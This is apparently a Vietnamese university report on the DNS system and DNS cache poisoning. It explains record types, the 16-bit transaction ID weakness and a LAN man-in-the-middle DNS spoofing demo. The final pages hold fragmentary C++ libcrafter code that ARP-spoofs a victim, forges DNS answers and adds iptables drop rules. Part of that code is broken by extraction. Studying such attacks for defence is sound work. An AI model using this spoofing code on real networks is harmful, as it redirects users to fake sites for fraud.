1. Trang chủ
  2. » Luận Văn - Báo Cáo

PHƯƠNG PHÁP TẤN CÔNG ĐẦU ĐỘC DNS VÀ GIẢI PHÁP PHÒNG CHỐNG

28 1,8K 23

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 28
Dung lượng 1,24 MB

Nội dung

Phép tương thường được sử dụng để giải thích hệ thống tên miền là, nóphục vụ như một “Danh bạ điện thoại” để tìm trên Internet bằng cách dịch tênmáy chủ máy tính thành địa chỉ IP Ví dụ,

Trang 1

VIỆN CÔNG NGHỆ THÔNG TIN VÀ TRUYỀN THÔNG

Trang 2

Phép tương thường được sử dụng để giải thích hệ thống tên miền là, nóphục vụ như một “Danh bạ điện thoại” để tìm trên Internet bằng cách dịch tênmáy chủ máy tính thành địa chỉ IP Ví dụ, www.example.com dịch thành208.77.188.166.

Hệ thống tên miền giúp cho nó có thể chỉ định tên miền cho các nhómngười sử dụng Internet trong một cách có ý nghĩa, độc lập với mỗi địa điểm củangười sử dụng Bởi vì điều này, World-Wide Web (WWW) siêu liên kết và traođổi thông tin trên Internet có thể duy trì ổn định và cố định ngay cả khi địnhtuyến dòng Internet thay đổi hoặc những người tham gia sử dụng một thiết bị diđộng Tên miền internet dễ nhớ hơn các địa chỉ IP như là 208.77.188.166 (IPv4)hoặc 2001: db8: 1f70:: 999: de8: 7648:6 e8 (IPv6)

Mọi người tận dụng lợi thế này khi họ thuật lại có nghĩa các URL và địachỉ email mà không cần phải biết làm thế nào các máy sẽ thực sự tìm ra chúng

Hệ thống tên miền phân phối trách nhiệm gán tên miền và lập bản đồnhững tên tới địa chỉ IP bằng cách định rõ những máy chủ có thẩm quyền chomỗi tên miền Những máy chủ có tên thẩm quyền được phân công chịu tráchnhiệm đối với tên miền riêng của họ, và lần lượt có thể chỉ định tên máy chủ

Trang 3

khác độc quyền của họ cho các tên miền phụ Kỹ thuật này đã thực hiện các cơchế phân phối DNS, chịu đựng lỗi, và giúp tránh sự cần thiết cho một trung tâmđơn lẻ để đăng kí được tư vấn và liên tục cập nhật.

Nhìn chung, Hệ thống tên miền cũng lưu trữ các loại thông tin khác, chẳnghạn như danh sách các máy chủ email mà chấp nhận thư điện tử cho một tênmiền Internet Bằng cách cung cấp cho một thế giới rộng lớn, phân phối từ khóa– cơ sở của dịch vụ đổi hướng , Hệ thống tên miền là một thành phần thiết yếucho các chức năng của Internet Các định dạng khác như các thẻ RFID, mã sốUPC, kí tự Quốc tế trong địa chỉ email và tên máy chủ, và một loạt các địnhdạng khác có thể có khả năng sử dụng DNS

1.2 Các đặc điểm của DNS

DNS là sử dụng cơ sở dữ liệu dạng phân tán được tổ chức theo mô hình

cây (hierarchical):

Cơ sở dữ liệu phân tán và phân cấp:

Hình 1 – Cấu trúc phân cấp và phân tán hệ thống DNS

Trang 4

Hình 2 – Phân tán các subdomain

1.3 Nguyên lý hoạt động của hệ thống DNS

 DNS hoạt động theo hình thức truy vấn và đáp trả (Query/response)

 Khi máy chủ DNS nhận được yêu cầu phân giải địa chỉ (request) từmáy trạm, nó sẽ tra cứu bộ đêm (Cache) và trả về địa chỉ IP tương ứng

Ví dụ: Client muốn địa chỉ IP của www.amazon.com;

- Client truy cập root server tìm DNS server tương ứng với tên miền “com”

- Client truy cập DNS server với miền “com” đã tìm DNS server củaamazon.com

- Client truy cập máy chủ DNS của amazon.com để lấy địa chỉ củawww.amazon.com

Trang 5

Hình 3 – Truy vấn kết quả trong hệ thống DNS

Hình 4 – Quy trình 5 bước

Trang 6

1.4 Các bản ghi của DNS

1.4.1 Bản ghi kiểu A

Bản ghi kiểu A được dùng để khai báo ánh xạ giữa tên của một máy tính trênmạng và địa chỉ IP tương ứng của nó Nói cách khác, bản ghi kiểu A chỉ ra tên

và điạ chỉ IP của một máy tính trên mạng

Bản ghi kiểu A có cú pháp như sau: domain IN A <địa chỉ IP của máy>

Ví dụ: home.vnn.vn IN A 203.162.0.12

Theo ví dụ trên, tên miền home.vnn.vn được khai với bản ghi kiểu A trỏ đến địachỉ 203.162.0.12 sẽ là tên của máy tính này Một tên miền có thể được khainhiều bản ghi kiểu A khác nhau để trỏ đến các địa chỉ IP khác nhau Như vậy cóthể có nhiều máy tính có cùng tên trên mạng Ngược lại một máy tính có một địachỉ IP có thể có nhiều tên miền trỏ đến, tuy nhiên chỉ có duy nhất một tên miềnđược xác định là tên của máy, đó chính là tên miền được khai với bản ghi kiểu Atrỏ đến địa chỉ của máy

1.4.2 Bản ghi kiểu AAAA

Bản ghi kiểu AAAA được dùng để chuyển đổi từ tên miền sang địa chỉ IPv6.Giống như bản ghi kiểu A trong địa chỉ IPv4, một tên miền có thể được khainhiều bản ghi kiểu AAAA khác nhau để trỏ đến các địa chỉ IPv6 khác nhau

Bản ghi kiểu AAAA có cú pháp như sau:

domain IN AAAA <địa chỉ IPv6 của máy>

Ví dụ: ipv6.vnnic.net IN AAAA 2001:dc8:5::115

Khai báo trên cho thấy tên miền ipv6.vnnic.net là tên được đặt cho máy tính

có địa chỉ 2001:dc8:5::115 trên mạng Internet

Trang 7

1.4.3 Bản ghi kiểu CNAME

Bản ghi CNAME cho phép một máy tính có thể có nhiều tên Nói cách khácbản ghi CNAME cho phép nhiều tên miền cùng trỏ đến một địa chỉ IP cho trước

Để có thể khai báo bản ghi CNAME, bắt buộc phải có bản ghi kiểu A để khaibáo tên của máy Tên miền được khai báo trong bản ghi kiểu A trỏ đến địa chỉ

IP của máy được gọi là tên miền chính (canonical domain) Các tên miền khácmuốn trỏ đến máy tính này phải được khai báo là bí danh của tên máy (aliasdomain) Cú pháp của bản ghi CNAME alias-domain IN CNAME canonicaldomain Ví dụ : www.vnn.vn IN CNAME home.vnn.vn Tên miền www.vnn.vn

sẽ là tên bí danh của tên miền home.vnn.vn , hai tên miền www.vnn.vn vàhome.vnn.vn sẽ cùng trỏ đến địa chỉ IP 203.162.0.12

Các thông số được khai báo trong bản ghi MX nêu trên gồm có:

• vnn.vn : là tên miền được khai báo để sử dụng như địa chỉ thư điện tử

• mail.vnn.vn: là tên của trạm chuyển tiếp thư điện tử, nó thực tế là têncủa máy tính dùng làm trạm chuyển tiếp thư điện tử

• 10 : Là giá trị ưu tiên, giá trị ưu tiên có thể là một số nguyên bất kỳ từ1đến 255, nếu giá trị ưu tiên này càng nhỏ thì trạm chuyển tiếp thưđiện tử được khai báo sau đó sẽ là trạm chuyển tiếp thư điện tử đượcchuyển đến đầu tiên

Ví dụ nếu khai báo

- vnn.vn IN MX 10 mail.vnn.vn

- vnn.vn IN MX 20 backupmail.vnn.vn

Trang 8

Thì tất cả các thư điện tử có cấu trúc địa chỉ user@vnn.vn trước hết sẽ đượcgửi đến trạm chuyển tiếp thư điện tử mail.vnn.vn Chỉ trong trường hợp máy chủmail.vnn.vn không thể nhận thư thì các thư này mới được chuyển đến trạmchuyển tiếp thư điện tử backupmail.vnn.vn

1.4.5 Bản ghi NS

Bản ghi NS dùng để khai báo máy chủ tên miền cho một tên miền Nó chobiết các thông tin về tên miền này được khai báo trên máy chủ nào Với mỗi mộttên miền phải có tổi thiểu hai máy chủ tên miền quản lý, dó đó yêu cầu có tốithiểu hai bản ghi NS cho mỗi tên miền

Cú pháp của bản ghi NS <tên miền> IN NS <tên của máy chủ tên miền>

Trang 9

số điện thoại xác định Những dịch vụ này được xác định và lựa chọn bởi kháchhàng

Ví dụ về khai báo bản ghi NAPTR:

<tên miền> IN NAPTR <thứ tự> <mức ưu tiên> <cờ> <dịch vụ> <biểuthức><thay thế>

5.1.1.6.2.2.8.4.4.8.e164.arpa IN NAPTR 10 10 “u” “mailto+E2U” “!^.*$! mailto:hmcuong@vnnic.net!”

Với khai báo trên khi thực hiện gọi số +84-4-8226115 thì ta sẽ thuđược mailto:hmcuong@vnnic.net Với bản ghi này có thể triển khai dịch vụ dựatrên hệ thống máy chủ DNS như ENUM và có thể mang lại sự hội tụ giữa viễnthông và Internet trong tương lai

CHƯƠNG II TẤN CÔNG ĐẦU ĐỘC DNS

2.1 Điểm yếu của hệ thống DNS

Như đã mô tả ở trên, DNS là giao thức phân giải địa chỉ, dùng để ánh xạgiữa tên miền (Domain) sang địa chỉ Internet (IP)

Theo giao thức này, máy chủ DNS khi nhận được yêu cầu phân giải địa chỉ(request) từ máy trạm, nó sẽ tra cứu trong bộ đêm (cache) và trả về địa chỉ IPtương ứng với tên miền mà máy trạm yêu cầu

Trang 10

Tuy nhiên, nếu k tìm thấy trong bộ đệm, máy chủ DNS sẽ chuyển tiếp yêucầu phân giải tới 1 máy chủ DNS khác Mỗi trao đổi phân giải giữa A và B đượcxác thực thông qua một số hiệu TID (Transaction ID) ngẫu nhiên Tuy nhiên,điểm yếu ở đây chính là việc số TID này chỉ là một số 16 bit (nhỏ hơn 65535) vàmọi trao đổi giữa A và B đều diễn ra trên một cổng (port) cố định của A Đâychính là khâu đã phát hiện là có lỗ hổng nghiêm trọng và mã khai thác lỗ hổngnày đã được lan truyền trên mạng Internet.

Hình 5 – Minh họa quá trình phân giải tên miền

2.2 Khái niệm tấn công đầu độc DNS

Là phương phấp tấn công vào máy chủ đệm DNS Nhằm sửa đổi, làm sailệch thông tin phân giải tên miền tại server Từ đó điều hướng người sử dụngdịch vụ DNS đến website sai lệch

Trang 11

Hình 6 – Tấn công đầu độc DNS

2.3 Mức độ nguy hiểm:

Nếu thành công sẽ cực kỳ nguy hiểm

Bằng cách đầu độc bản ghi tên miền cho, kẻ tấn công có thể chuyển người sửdụng của nhà cung cấp dịch vụ Internet đó tới một máy chủ độc, website giảmạo mỗi khi họ cố gắng truy cập trang web Đặc biệt nguy hiểm nếu là websitengân hàng, thương mại điện tử

Trang 12

Chương III: Phương Pháp Tấn Công Man – In – The –

Middle (MITM) – Giả mạo DNS

Nạn nhân của cuộc tấn công không cần phải chạy một hệ điều hành có độ bảo mật thấp dễ bị tấn công, cũng không cần chạy một chương trình độc hại nào mà MITM có thể tấn công bất cứ nơi nào đang có 2 máy giao tiếp với nhau

Trong bài báo cáo của chúng em sẽ trình bầy phương pháp tấn công 1 máy trong mạng lan (có địa chỉ IP là 192.168.1.8 ) Máy nạn nhân sẽ bị lắng

nghe mọi truy cập tới một Web bất kì nào và mọi cố gắng vào địa chỉ

google.com.ar đều bị điều hướng đến địa chỉ IP: 1.2.3.4

Trang 13

• Mỗi trao đổi phân giải giữa A và B được xác thực thông qua 1 số tín hiệu TID (Transaction ID) ngẫu nhiên.

• Tuy nhiên, điểm yếu ở đây là việc số TID này chỉ là một số 16bit (nhỏ hơn 65535) và mọi trao đổi giữa A và B đều diễn ra ở cổng cố định của A

• Để tấn công, trước khi máy A kịp nhận các gói tin trả lời từ máy B, hacker gửi liên tiếp các gói tin giả mạo trả lời của máy B tới cổng

cố định nói trên của A Chỉ cần 1 trong các gói tin giả mạo có TID trùng với TID mà máy A đang chờ, thì gói tin giả mạo sẽ được máy

A chấp nhận là gói tin hợp lệ và cập nhật vào bộ đệm của A Lúc này, gói tin trả lời thật từ máy B sẽ không được máy A xử lý nữa Bằng cách này, hacker có thể đầu độc bộ đệm của máy A, để ánh xạtên miền bị tấn công sang 1 địa chỉ IP mà hacker chỉ định

Trang 14

Cơ chế tấn công Man – In – The – Middle – Giả mạo DNS

Trang 15

3.3 Mô phỏng tấn công MITM – Giả mạo DNS

3.3.1 Mô phỏng

Đầu tiên xác định các địa chỉ IP của máy chủ DNS ( nếu máy chủ không nằm trong cùng mạng LAN, nó phải là địa chỉ của router ) và nạn nhân cùng với các từ khóa cho ngộ độc DNS ( chứa trong spoof_list STL map: "google" và

"proxy" ) và địa chỉ IP mà mình muốn máy nạn nhân truy cập vào

Tiếp theo, thực hiện tấn công ARP Posion và tạo ra một sniffer để lắng nghe UDP với một cổng bằng 53 (mặc định cho DNS) Tại thời điểm này, tất cả lưu lượng truy cập từ các nạn nhân nên được đi qua máy tính mình dùng để tấn công Do đó, chuyển tiếp IP được kích hoạt và chúng em sử dụng IPTABLES đểchặn tất cả lưu lượng UDP với một nguồn hoặc cổng đích bằng 53

Nói cách khác, tất cả dữ liệu qua lại giữa các máy chủ DNS (192.168.1.1)

và nạn nhân (192.168.1.8) sẽ bị chuyển hướng (thông qua nhân xử lí của chúng tôi) , ngoại trừ các giao dịch DNS Sniffer có trách nhiệm xử lý chúng ( thông qua chức năng DNSSpoofer )

Cuối cùng, chức năng DNSSpoofer được thực hiện mỗi khi sniffer bắt một gói, nó sẽ thực hiện giả mạo DNS nếu tên miền theo yêu cầu của nạn nhân

là một trong những từ khóa được cung cấp trong spoof_list map.

Trang 16

using namespace Crafter;

/* Structure for save MAC addresses */

/* Global map of IP-HOSTS pairs */

map< string , string > spoof_list;

/* Function for handling a packet when the sniffer caught one */

void DNSSpoofer(Packet* sniff_packet, void * user);

/* IP tables "script" for dropping the DNS traffic */

void iptables_block( const string & iface, const string & victim_ip, int dst_port);

/* IP tables "script" that flush all rules added */

void iptables_flush( const string & iface, const string & victim_ip, int dst_port);

/* Global Sniffer pointer */

Sniffer* sniff;

/* Function for handling a CTRL-C */

void ctrl_c( int dummy) {

/* Cancel the sniffing thread */

/* Set the interface */

string iface = "wlan0" ;

/* Create a structure with information about the attack */

HostInfo* host_info = new HostInfo;

/* IP addresses -> This is a data supply by the user */

string dns_ip = "192.168.1.1" ; short_word dst_port = 53 ; /* DNS traffic

*/

string victim_ip = "192.168.1.8" ;

Trang 17

/* Start the ARP spoofing */

ARPContext* context = ARPSpoofingRequest(dns_ip,victim_ip,iface);

/* Print data about the spoofing, and wait a few seconds */

/* Now, spawn the capture */

void * sniffer_arg = static_cast < void *>(host_info);

void DNSSpoofer(Packet* sniff_packet, void * user) {

/* Cast the MAC addresses structure */

HostInfo* host_data = static_cast <HostInfo*>(user);

/* Get the Ethernet Layer */

Ethernet* ether_layer = GetEthernet(*sniff_packet);

/* Get the IP layer */

IP* ip_layer = GetIP(*sniff_packet);

/* Get the UDP layer */

UDP* udp_layer = GetUDP(*sniff_packet);

/* Flag to set when we should spoof a DNS answer */

byte spoof = 0

Trang 18

/* Checks if the source MAC is not mine */

if (ether_layer->GetSourceMAC() != host_data->my_mac) {

/* Checks if the packet is coming from the victim */

if (ip_layer->GetSourceIP() == host_data->victim_ip) {

/* Get the RawLayer */

RawLayer* raw_layer = GetRawLayer(*sniff_packet);

/* Get the host name to be resolved */

string hostname = dns_req.Queries[ ].GetName(); /* Print information */

cout << "[@] Query received -> Host Name = " << hostname << endl;

/* Iterate the spoof_list */

map< string , string >::iterator it_list;

for (it_list = spoof_list begin () it_list != spoof_list end () it_list++)

/* Get the name on the list */

string code_name = (*it_list).first; /* Check if the code_name is inside the host name requested */

if (hostname.find(code_name) !=

string ::npos) {

cout << "[+] Spoofed

request (" << code_name << ") -> Host Name = " << hostname << endl;

/* Get the IP address associated

Trang 19

/* Send the spoofed answer */

/* Get DNS server IP address */

string dns_ip = ip_layer->GetDestinationIP(); /* Send the packet to the victim IP */

/* Swap the destinations and source port */

short_word src_port = udp_layer->GetSrcPort(); short_word dst_port = udp_layer->GetDstPort(); udp_layer->SetSrcPort(dst_port);

sniff_packet->Send(host_data->iface);

}

/* or coming from the server */

} else if ip_layer->GetDestinationIP() == host_data->victim_ip) {

/* Send the packet to the victim */

ether_layer->SetDestinationMAC(host_data->victim_mac); /* And put our MAC ad a source */

Trang 20

system( "/bin/echo 1 > /proc/sys/net/ipv4/ip_forward" );

/* Drop packets sent to or received from a http server (for victim IP address) */

system( string ( "/sbin/iptables -A FORWARD -s " victim_ip +

" -p udp dport " StrPort(dst_port) + " -j DROP" ).c_str());

system( string ( "/sbin/iptables -A FORWARD -d " victim_ip +

" -p udp sport " StrPort(dst_port) + " -j DROP" ).c_str());

/* Remember that libcrafter doesn't mind about local firewalls rules

system( "/bin/echo 0 > /proc/sys/net/ipv4/ip_forward" );

/* Delete the rules */

system( string ( "/sbin/iptables -D FORWARD -s " victim_ip +

" -p udp dport " StrPort(dst_port) + " -j DROP" ).c_str());

system( string ( "/sbin/iptables -D FORWARD -d " victim_ip +

" -p udp sport " StrPort(dst_port) + " -j DROP" ).c_str());

}

Ngày đăng: 30/12/2015, 20:33

TỪ KHÓA LIÊN QUAN

TÀI LIỆU CÙNG NGƯỜI DÙNG

TÀI LIỆU LIÊN QUAN

w